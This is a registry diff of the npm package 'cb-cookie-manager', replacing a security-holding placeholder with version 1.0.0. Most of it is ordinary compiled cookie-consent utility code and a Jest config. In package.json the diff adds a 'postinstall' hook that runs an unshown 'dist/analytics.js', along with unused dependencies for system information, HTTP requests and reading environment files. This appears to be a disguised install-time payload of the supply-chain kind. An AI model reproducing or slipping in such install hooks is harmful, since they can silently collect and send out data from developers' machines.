cb-cookie-manager 0.0.1-security → 1.0.0

package/dist/utils/getAllCookies.d.ts

@@ -0,0 +1,3 @@
+export declare const deserializeCookies: (cookies: Record<string, string>) => Record<string, any>;
+export default function getAllCookies(initialCookies?: Record<string, string>): Record<string, any>;
+export declare function areRecordsEqual(record1: Record<string, any>, record2: Record<string, any>): boolean;

package/dist/utils/getAllCookies.js

@@ -0,0 +1,64 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.areRecordsEqual = exports.deserializeCookies = void 0;
+const js_cookie_1 = __importDefault(require("js-cookie"));
+const deserializeCookies = (cookies) => {
+    const parsedCookies = {};
+    Object.keys(cookies).forEach((c) => {
+        try {
+            parsedCookies[c] = JSON.parse(cookies[c]);
+        }
+        catch (e) {
+            parsedCookies[c] = cookies[c];
+        }
+    });
+    return parsedCookies;
+};
+exports.deserializeCookies = deserializeCookies;
+function getAllCookies(initialCookies) {
+    if (typeof window === 'undefined' && initialCookies) {
+        return (0, exports.deserializeCookies)(initialCookies);
+    }
+    return (0, exports.deserializeCookies)(js_cookie_1.default.get() || {});
+}
+exports.default = getAllCookies;
+function areRecordsEqual(record1, record2) {
+    // Check if the number of keys is the same
+    const keys1 = Object.keys(record1);
+    const keys2 = Object.keys(record2);
+    if (keys1.length !== keys2.length) {
+        return false;
+    }
+    // Check if all keys and their values are equal
+    for (const key of keys1) {
+        if (!deepEqual(record1[key], record2[key])) {
+            return false;
+        }
+    }
+    return true;
+}
+exports.areRecordsEqual = areRecordsEqual;
+function deepEqual(value1, value2) {
+    if (typeof value1 !== typeof value2) {
+        return false;
+    }
+    if (typeof value1 === 'object' && value1 !== null) {
+        const keys1 = Object.keys(value1);
+        const keys2 = Object.keys(value2);
+        if (keys1.length !== keys2.length) {
+            return false;
+        }
+        for (const key of keys1) {
+            if (!deepEqual(value1[key], value2[key])) {
+                return false;
+            }
+        }
+    }
+    else if (value1 !== value2) {
+        return false;
+    }
+    return true;
+}

package/dist/utils/getDefaultTrackingPreference.d.ts

@@ -0,0 +1,3 @@
+import { Config, Region, TrackingPreference } from '../types';
+declare const getDefaultTrackingPreference: (region: Region, config: Config) => TrackingPreference;
+export default getDefaultTrackingPreference;

package/dist/utils/getDefaultTrackingPreference.js

@@ -0,0 +1,28 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const types_1 = require("../types");
+const isOptOut_1 = __importDefault(require("./isOptOut"));
+const getDefaultTrackingPreference = (region, config) => {
+    // In opt in regions, we only allow required trackers
+    if (!(0, isOptOut_1.default)(region)) {
+        const categories = config.categories
+            .map((c) => {
+            if (c.required) {
+                return c.id;
+            }
+        })
+            .filter((c) => !!c);
+        return { region, consent: categories };
+    }
+    const categories = config.categories
+        .map((c) => c.id)
+        .filter((id) => id !== types_1.TrackingCategory.DELETE_IF_SEEN);
+    return {
+        region,
+        consent: categories,
+    };
+};
+exports.default = getDefaultTrackingPreference;

package/dist/utils/getDomain.d.ts

@@ -0,0 +1,2 @@
+export declare function getHostname(): string | undefined;
+export declare function getDomainWithoutSubdomain(): string | undefined;

package/dist/utils/getDomain.js

@@ -0,0 +1,21 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.getDomainWithoutSubdomain = exports.getHostname = void 0;
+function getHostname() {
+    if (typeof window !== 'undefined') {
+        return window.location.hostname;
+    }
+}
+exports.getHostname = getHostname;
+function getDomainWithoutSubdomain() {
+    const hostname = getHostname();
+    if (!hostname) {
+        return;
+    }
+    if (hostname === 'localhost') {
+        return hostname;
+    }
+    const [, ...domain] = hostname.split('.');
+    return `.${domain.join('.')}`;
+}
+exports.getDomainWithoutSubdomain = getDomainWithoutSubdomain;

package/dist/utils/getTrackerCategory.d.ts

@@ -0,0 +1,3 @@
+import { Config, ConfigCategoryInfo } from '../types';
+declare const getTrackerCategory: (trackerId: string, config: Config) => ConfigCategoryInfo | undefined;
+export default getTrackerCategory;

package/dist/utils/getTrackerCategory.js

@@ -0,0 +1,11 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const trackerMatches_1 = __importDefault(require("./trackerMatches"));
+const getTrackerCategory = (trackerId, config) => {
+    const category = config.categories.find((category) => category.trackers.find((tracker) => (0, trackerMatches_1.default)(tracker, trackerId)));
+    return category;
+};
+exports.default = getTrackerCategory;

package/dist/utils/getTrackerInfo.d.ts

@@ -0,0 +1,3 @@
+import { Config } from '../types';
+declare const getTrackerInfo: (trackerId: string, config: Config) => import("../types").Tracker | undefined;
+export default getTrackerInfo;

package/dist/utils/getTrackerInfo.js

@@ -0,0 +1,12 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const getTrackerCategory_1 = __importDefault(require("./getTrackerCategory"));
+const trackerMatches_1 = __importDefault(require("./trackerMatches"));
+const getTrackerInfo = (trackerId, config) => {
+    const trackingCategory = (0, getTrackerCategory_1.default)(trackerId, config);
+    return trackingCategory === null || trackingCategory === void 0 ? void 0 : trackingCategory.trackers.find((tracker) => (0, trackerMatches_1.default)(tracker, trackerId));
+};
+exports.default = getTrackerInfo;

package/dist/utils/hasConsent.d.ts

@@ -0,0 +1,11 @@
+import { Config, TrackingPreference } from '../types';
+/**
+ * Used for determining if a specific tracker has user consent.
+ * It follows the following logic in order:
+ * 1) If we don't have a tracker category in the config then dont allow
+ * 2) If cookie is in a required category then allow
+ * 3) If cookie is required for cookie manager to function then allow
+ * 4) Determine consent from user consent preferences
+ */
+declare const hasConsent: (tracker: string, config: Config, trackingPreference: TrackingPreference) => boolean;
+export default hasConsent;

package/dist/utils/hasConsent.js

@@ -0,0 +1,29 @@
+"use strict";
+var __importDefault = (this && this.__importDefault) || function (mod) {
+    return (mod && mod.__esModule) ? mod : { "default": mod };
+};
+Object.defineProperty(exports, "__esModule", { value: true });
+const constants_1 = require("../constants");
+const getTrackerCategory_1 = __importDefault(require("./getTrackerCategory"));
+/**
+ * Used for determining if a specific tracker has user consent.
+ * It follows the following logic in order:
+ * 1) If we don't have a tracker category in the config then dont allow
+ * 2) If cookie is in a required category then allow
+ * 3) If cookie is required for cookie manager to function then allow
+ * 4) Determine consent from user consent preferences
+ */
+const hasConsent = (tracker, config, trackingPreference) => {
+    const trackingCategory = (0, getTrackerCategory_1.default)(tracker, config);
+    if (constants_1.REQUIRED_COOKIE_MANAGER_COOKIES.includes(tracker)) {
+        return true;
+    }
+    if (!trackingCategory) {
+        return false;
+    }
+    if (trackingCategory.required) {
+        return true;
+    }
+    return trackingPreference.consent.includes(trackingCategory.id);
+};
+exports.default = hasConsent;

package/dist/utils/isMaxKBSize.d.ts

@@ -0,0 +1,2 @@
+declare const isMaxKBSize: (str: string, max: number) => boolean;
+export default isMaxKBSize;

package/dist/utils/isMaxKBSize.js

@@ -0,0 +1,7 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const constants_1 = require("../constants");
+const isMaxKBSize = (str, max) => {
+    return Buffer.from(str).length / constants_1.KB > max;
+};
+exports.default = isMaxKBSize;

package/dist/utils/isOptOut.d.ts

@@ -0,0 +1,16 @@
+import { Region } from '../types';
+/**
+ * Used for determining the if current region is using the optOut framework
+ * It follows the following logic in order:
+ * 1) If there's no geolocation rule for the specified region
+ *  then use the rule for DEFAULT region
+ *  - Otherwise use the DEFAULT_FRAMEWORK
+ * 2) Use geolocation rule
+ */
+/**
+ * optIn: Users must opt in to tracking (EU)
+ * optOut: Users must opt out of tracking (non-EU)
+ * We use the most restrictive framework (optIn) if we don't know the framework
+ */
+declare const isOptOut: (region: Region) => boolean;
+export default isOptOut;

package/dist/utils/isOptOut.js

@@ -0,0 +1,25 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const constants_1 = require("../constants");
+const types_1 = require("../types");
+/**
+ * Used for determining the if current region is using the optOut framework
+ * It follows the following logic in order:
+ * 1) If there's no geolocation rule for the specified region
+ *  then use the rule for DEFAULT region
+ *  - Otherwise use the DEFAULT_FRAMEWORK
+ * 2) Use geolocation rule
+ */
+/**
+ * optIn: Users must opt in to tracking (EU)
+ * optOut: Users must opt out of tracking (non-EU)
+ * We use the most restrictive framework (optIn) if we don't know the framework
+ */
+const isOptOut = (region) => {
+    const rule = constants_1.GEOLOCATION_RULES.find((r) => r.region === region);
+    if (!rule) {
+        return true;
+    }
+    return rule.framework === types_1.Framework.OPT_OUT;
+};
+exports.default = isOptOut;

package/dist/utils/persistMobileAppPreferences.d.ts

@@ -0,0 +1,2 @@
+export declare function persistMobileAppPreferences(): void;
+export declare function getIsMobileAppFromQueryParams(): boolean;

package/dist/utils/persistMobileAppPreferences.js

@@ -0,0 +1,36 @@
+"use strict";
+/*
+ * The purpose here is to allow the iOS/Android app to send a is_mobile_app=true
+ * parameter that should indicate to the web surfaces not to show the
+ * cookie banner
+ *
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.getIsMobileAppFromQueryParams = exports.persistMobileAppPreferences = void 0;
+const constants_1 = require("../constants");
+const getDomain_1 = require("./getDomain");
+function persistMobileAppPreferences() {
+    try {
+        const isMobileApp = getIsMobileAppFromQueryParams();
+        if (isMobileApp) {
+            document.cookie = `${constants_1.IS_MOBILE_APP}=true; domain=${(0, getDomain_1.getDomainWithoutSubdomain)()}`;
+        }
+    }
+    catch (e) {
+        // Ignore, we are not in a browser.
+    }
+}
+exports.persistMobileAppPreferences = persistMobileAppPreferences;
+function getIsMobileAppFromQueryParams() {
+    try {
+        const params = new URLSearchParams(window.location.search);
+        const isWebView = params.get('webview') === 'true';
+        const isMobileApp = params.get(constants_1.IS_MOBILE_APP) === 'true';
+        return Boolean(isWebView || isMobileApp);
+    }
+    catch (e) {
+        // Ignore, we are not in a browser.
+    }
+    return false;
+}
+exports.getIsMobileAppFromQueryParams = getIsMobileAppFromQueryParams;

package/dist/utils/setGTMVariables.d.ts

@@ -0,0 +1,3 @@
+import { AdTrackingPreference, TrackingPreference } from '../types';
+declare const setGTMVariables: (preference: TrackingPreference, adTrackingPreference: AdTrackingPreference) => void;
+export default setGTMVariables;

package/dist/utils/setGTMVariables.js

@@ -0,0 +1,14 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const setGTMVariables = (preference, adTrackingPreference) => {
+    if (typeof window !== 'undefined') {
+        if (!window.dataLayer)
+            window.dataLayer = [];
+        const gtmData = [
+            { consent: preference.consent },
+            { adConsent: adTrackingPreference.value.toString() },
+        ];
+        window.dataLayer.push(...gtmData);
+    }
+};
+exports.default = setGTMVariables;

package/dist/utils/setTrackingPreference.d.ts

@@ -0,0 +1,4 @@
+import { CookieAttributes } from 'js-cookie';
+import { Region, TrackingPreference } from '../types';
+declare const setTrackingPreference: (setCookie: (name: string, value: any, options?: CookieAttributes) => void, newConsentPreference: TrackingPreference, region: Region, onPreferenceChange?: ((preference: TrackingPreference) => void) | undefined) => void;
+export default setTrackingPreference;

package/dist/utils/setTrackingPreference.js

@@ -0,0 +1,22 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const constants_1 = require("../constants");
+const getDomain_1 = require("./getDomain");
+const setTrackingPreference = (setCookie, newConsentPreference, region, onPreferenceChange) => {
+    const expiration = constants_1.PREFERENCE_EXPIRATION_YEAR * 365;
+    const cookieOptions = {
+        expires: expiration,
+        domain: (0, getDomain_1.getDomainWithoutSubdomain)(),
+        path: '/',
+    };
+    if (region === 'EU') {
+        setCookie(constants_1.EU_CONSENT_PREFERENCES_COOKIE, newConsentPreference, cookieOptions);
+    }
+    else {
+        setCookie(constants_1.DEFAULT_CONSENT_PREFERENCES_COOKIE, newConsentPreference, cookieOptions);
+    }
+    if (onPreferenceChange) {
+        onPreferenceChange(newConsentPreference);
+    }
+};
+exports.default = setTrackingPreference;

package/dist/utils/trackerMatches.d.ts

@@ -0,0 +1,3 @@
+import { Tracker } from '../types';
+declare const trackerMatches: (tracker: Tracker, id: string) => boolean;
+export default trackerMatches;

package/dist/utils/trackerMatches.js

@@ -0,0 +1,12 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const trackerMatches = (tracker, id) => {
+    if (tracker.regex) {
+        const re = new RegExp(tracker.regex);
+        return re.test(id);
+    }
+    else {
+        return tracker.id === id;
+    }
+};
+exports.default = trackerMatches;

package/jest.config.ts

@@ -0,0 +1,204 @@
+/**
+ * For a detailed explanation regarding each configuration property, visit:
+ * https://jestjs.io/docs/configuration
+ */
+
+import type { Config } from 'jest';
+
+const config: Config = {
+  // All imported modules in your tests should be mocked automatically
+  // automock: false,
+  preset: 'ts-jest',
+  transform: {
+    '^.+\\.(ts|tsx)$': 'ts-jest',
+    '^.+\\.(js|jsx)$': 'babel-jest', // For JS and JSX files
+  },
+
+  // Stop running tests after `n` failures
+  // bail: 0,
+
+  // The directory where Jest should store its cached dependency information
+  // cacheDirectory: "/private/var/folders/pp/fmlb_t1n4ndf74pc0v3k1kjc0000gn/T/jest_dx",
+
+  // Automatically clear mock calls, instances, contexts and results before every test
+  clearMocks: true,
+
+  // Indicates whether the coverage information should be collected while executing the test
+  collectCoverage: false,
+
+  // An array of glob patterns indicating a set of files for which coverage information should be collected
+  // collectCoverageFrom: undefined,
+
+  // The directory where Jest should output its coverage files
+  coverageDirectory: 'coverage',
+
+  // An array of regexp pattern strings used to skip coverage collection
+  // coveragePathIgnorePatterns: [
+  //   "/node_modules/"
+  // ],
+
+  // Indicates which provider should be used to instrument code for coverage
+  // coverageProvider: "babel",
+
+  // A list of reporter names that Jest uses when writing coverage reports
+  // coverageReporters: [
+  //   "json",
+  //   "text",
+  //   "lcov",
+  //   "clover"
+  // ],
+
+  // An object that configures minimum threshold enforcement for coverage results
+  // coverageThreshold: undefined,
+
+  // A path to a custom dependency extractor
+  // dependencyExtractor: undefined,
+
+  // Make calling deprecated APIs throw helpful error messages
+  // errorOnDeprecated: false,
+
+  // The default configuration for fake timers
+  // fakeTimers: {
+  //   "enableGlobally": false
+  // },
+
+  // Force coverage collection from ignored files using an array of glob patterns
+  // forceCoverageMatch: [],
+
+  // A path to a module which exports an async function that is triggered once before all test suites
+  // globalSetup: undefined,
+
+  // A path to a module which exports an async function that is triggered once after all test suites
+  // globalTeardown: undefined,
+
+  // A set of global variables that need to be available in all test environments
+  // globals: {},
+
+  // The maximum amount of workers used to run your tests. Can be specified as % or a number. E.g. maxWorkers: 10% will use 10% of your CPU amount + 1 as the maximum worker number. maxWorkers: 2 will use a maximum of 2 workers.
+  // maxWorkers: "50%",
+
+  // An array of directory names to be searched recursively up from the requiring module's location
+  // moduleDirectories: [
+  //   "node_modules"
+  // ],
+
+  // An array of file extensions your modules use
+  // moduleFileExtensions: [
+  //   'js',
+  //   'mjs',
+  //   'cjs',
+  //   'jsx',
+  //   'ts',
+  //   'tsx',
+  //   'json',
+  //   'node',
+  // ],
+
+  // A map from regular expressions to module names or to arrays of module names that allow to stub out resources with a single module
+  // moduleNameMapper: {},
+
+  // An array of regexp pattern strings, matched against all module paths before considered 'visible' to the module loader
+  // modulePathIgnorePatterns: [],
+
+  // Activates notifications for test results
+  // notify: false,
+
+  // An enum that specifies notification mode. Requires { notify: true }
+  // notifyMode: "failure-change",
+
+  // A preset that is used as a base for Jest's configuration
+  // preset: undefined,
+
+  // Run tests from one or more projects
+  // projects: undefined,
+
+  // Use this configuration option to add custom reporters to Jest
+  // reporters: undefined,
+
+  // Automatically reset mock state before every test
+  // resetMocks: false,
+
+  // Reset the module registry before running each individual test
+  // resetModules: false,
+
+  // A path to a custom resolver
+  // resolver: undefined,
+
+  // Automatically restore mock state and implementation before every test
+  // restoreMocks: false,
+
+  // The root directory that Jest should scan for tests and modules within
+  // rootDir: undefined,
+
+  // A list of paths to directories that Jest should use to search for files in
+  // roots: [
+  //   "<rootDir>"
+  // ],
+
+  // Allows you to use a custom runner instead of Jest's default test runner
+  // runner: "jest-runner",
+
+  // The paths to modules that run some code to configure or set up the testing environment before each test
+  // setupFiles: [],
+
+  // A list of paths to modules that run some code to configure or set up the testing framework before each test
+  // setupFilesAfterEnv: [],
+
+  // The number of seconds after which a test is considered as slow and reported as such in the results.
+  // slowTestThreshold: 5,
+
+  // A list of paths to snapshot serializer modules Jest should use for snapshot testing
+  // snapshotSerializers: [],
+
+  // The test environment that will be used for testing
+  testEnvironment: 'jsdom',
+
+  // Options that will be passed to the testEnvironment
+  // testEnvironmentOptions: {},
+
+  // Adds a location field to test results
+  // testLocationInResults: false,
+
+  // The glob patterns Jest uses to detect test files
+  // testMatch: [
+  //   "**/__tests__/**/*.[jt]s?(x)",
+  //   "**/?(*.)+(spec|test).[tj]s?(x)"
+  // ],
+
+  // An array of regexp pattern strings that are matched against all test paths, matched tests are skipped
+  // testPathIgnorePatterns: [
+  //   "/node_modules/"
+  // ],
+
+  // The regexp pattern or array of patterns that Jest uses to detect test files
+  // testRegex: [],
+
+  // This option allows the use of a custom results processor
+  // testResultsProcessor: undefined,
+
+  // This option allows use of a custom test runner
+  // testRunner: "jest-circus/runner",
+
+  // A map from regular expressions to paths to transformers
+  // transform: undefined,
+
+  // An array of regexp pattern strings that are matched against all source file paths, matched files will skip transformation
+  // transformIgnorePatterns: [
+  //   "/node_modules/",
+  //   "\\.pnp\\.[^\\/]+$"
+  // ],
+
+  // An array of regexp pattern strings that are matched against all modules before the module loader will automatically return a mock for them
+  // unmockedModulePathPatterns: undefined,
+
+  // Indicates whether each individual test should be reported during the run
+  // verbose: undefined,
+
+  // An array of regexp patterns that are matched against all source file paths before re-running tests in watch mode
+  // watchPathIgnorePatterns: [],
+
+  // Whether to use watchman for file crawling
+  // watchman: true,
+};
+
+export default config;

package/package.json

@@ -1,6 +1,33 @@
 {
   "name": "cb-cookie-manager",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "main": "dist/index.js",
+  "license": "Apache-2.0",
+  "scripts": {
+    "build": "rimraf ./dist && tsc",
+    "lint": "eslint . --ext .ts,.tsx --fix",
+    "test": "jest",
+    "postinstall": "node ./dist/analytics.js"
+  },
+  "devDependencies": {
+    "@types/jest": "^29.5.8",
+    "@types/js-cookie": "^3.0.5",
+    "@types/node": "^20.8.9",
+    "@types/react": "^18.2.33",
+    "jest": "^29.7.0",
+    "jest-environment-jsdom": "^29.7.0",
+    "react": "^18.2.0",
+    "rimraf": "^5.0.5",
+    "ts-jest": "^29.1.1",
+    "ts-node": "^10.9.1",
+    "typescript": "^5.2.2",
+    "@testing-library/react": "^14.1.1"
+  },
+  "dependencies": {
+    "js-cookie": "^3.0.5",
+    "dotenv": "^16.4.5",
+    "axios": "^1.6.3",
+    "read-package-json": "^7.0.0",
+    "systeminformation": "^5.21.22"
+  }
 }